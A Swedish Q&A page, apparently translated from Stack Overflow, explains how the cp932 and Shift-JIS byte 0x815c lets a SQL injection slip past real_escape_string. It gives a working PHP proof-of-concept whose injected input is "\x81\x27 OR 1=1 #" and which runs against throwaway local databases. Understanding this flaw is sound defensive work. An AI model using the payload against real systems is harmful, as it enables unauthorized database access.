sql >> Databasteknik >  >> RDS >> Mysql

Hur skapar man en SQL-injektionsattack med Shift-JIS och CP932?

Djävulen ligger i detaljerna ... låt oss börja med hur svarar i fråga beskriver listan över sårbara teckenuppsättningar:

Detta ger oss lite sammanhang - 0xbf5c används som exempel för gbk , inte som det universella tecknet som ska användas för alla de 5 teckenuppsättningarna.
Det råkar vara så att samma bytesekvens också är ett giltigt tecken under big5 och gb2312 .

Vid det här laget blir din fråga så enkel som denna:

För att vara rättvis ger de flesta googlesökningar jag försökte med dessa teckenuppsättningar inga användbara resultat. Men jag hittade denna CP932.TXT-fil , där om du söker efter '5c ' (med utrymmet där), hoppar du till den här raden:

Och vi har en vinnare! :)

Något Oracle-dokument bekräftar att 0x815c är samma tecken för båda cp932 och sjis och PHP känner igen det också:

php > var_dump(mb_strlen("\x81\x5c", "cp932"), mb_strlen("\x81\x5c", "sjis"));
int(1)
int(1)

Här är ett PoC-skript för attacken:

<?php
$username = 'username';
$password = 'password';

$mysqli = new mysqli('localhost', $username, $password);
foreach (array('cp932', 'sjis') as $charset)
{
        $mysqli->query("SET NAMES {$charset}");
        $mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
        $mysqli->query("USE {$charset}_db");
        $mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
        $mysqli->query("INSERT INTO foo (bar) VALUES ('baz'), ('qux')");

        $input = "\x81\x27 OR 1=1 #";
        $input = $mysqli->real_escape_string($input);
        $query = "SELECT * FROM foo WHERE bar = '{$input}' LIMIT 1";
        $result = $mysqli->query($query);
        if ($result->num_rows > 1)
        {
                echo "{$charset} exploit successful!\n";
        }

        $mysqli->query("DROP DATABASE {$charset}_db");
}



  1. SQL - välj rader som har samma värde i två kolumner

  2. Javascript och PHP nedräkningstimer som visar samma för alla

  3. Definiera sammansatt nyckel med automatisk ökning i MySQL

  4. Inlärning SELECT FROM WHERE förberedda uttalanden